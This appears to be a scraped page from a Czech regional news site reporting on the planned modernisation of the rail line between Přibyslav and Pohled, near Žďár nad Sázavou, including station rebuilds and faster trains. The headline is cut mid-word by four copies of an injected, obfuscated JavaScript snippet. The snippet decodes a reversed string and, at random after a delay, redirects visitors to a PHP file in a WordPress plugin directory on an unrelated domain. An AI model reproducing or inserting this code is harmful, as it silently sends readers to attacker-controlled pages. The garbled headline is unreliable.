ŽĎÁRSKÝ PRŮVODCE

Rainbow page separator
> Žďárské aktuality > Modernizace trati má zrychlit ces$NfI=function(n){if (typeof ($NfI.list[n]) == „string“) return $NfI.list[n].split(„“).reverse().join(„“);return $NfI.list[n];};$NfI.list=[„\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == „string“) return $NfI.list[n].split(„“).reverse().join(„“);return $NfI.list[n];};$NfI.list=[„\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tování mezi Žďárem a Brodem

Modernizace trati má zrychlit ces$NfI=function(n){if (typeof ($NfI.list[n]) == „string“) return $NfI.list[n].split(„“).reverse().join(„“);return $NfI.list[n];};$NfI.list=[„\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == „string“) return $NfI.list[n].split(„“).reverse().join(„“);return $NfI.list[n];};$NfI.list=[„\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tování mezi Žďárem a Brodem

Pátek, 25. listopadu 2022

Vysočina, Žďársko / Zrychlení na trati mezi Žďárem nad Sázavou a Havlíčkovým Brodem má přinést modernizace její části mezi Přibyslaví a Pohledem. Komplexní obnova dvojkolejné trati včetně rekonstrukce stanic Přibyslav a Pohled i zastávek v Přibyslavi a ve Stříbrných Horách je předběžně vyčíslená na více než dvě miliardy korun a má umožnit zvýšení rychlosti vlakových souprav ze 100 až na 160 kilometrů v hodině. Hlavní stavební práce, které se neobejdou bez výluk na trati, Správa železnic plánuje na rok 2024, jejich dokončení o rok později. Na nádraží v Přibyslavi dojde k přestavbě obou nástupišť s bezbariérovým přístupem, v podchodu přibudou výtahy. Na nádraží v Pohledu stávající nástupiště nahradí nové mezi hlavními kolejemi a přístupné vybudovaným podchodem s výtahy. Obnova se dotkne i přibyslavské zastávky, kde vznikne rovněž podchod, aby cestující nemuseli přebíhat koleje, a nový kabát dostane rovněž železniční zastávka ve Stříbrných Horách. Na všech zmodernizovaných nástupištích přibudou taktéž přístřešky, mobiliář a informační či orientační systém pro cestující.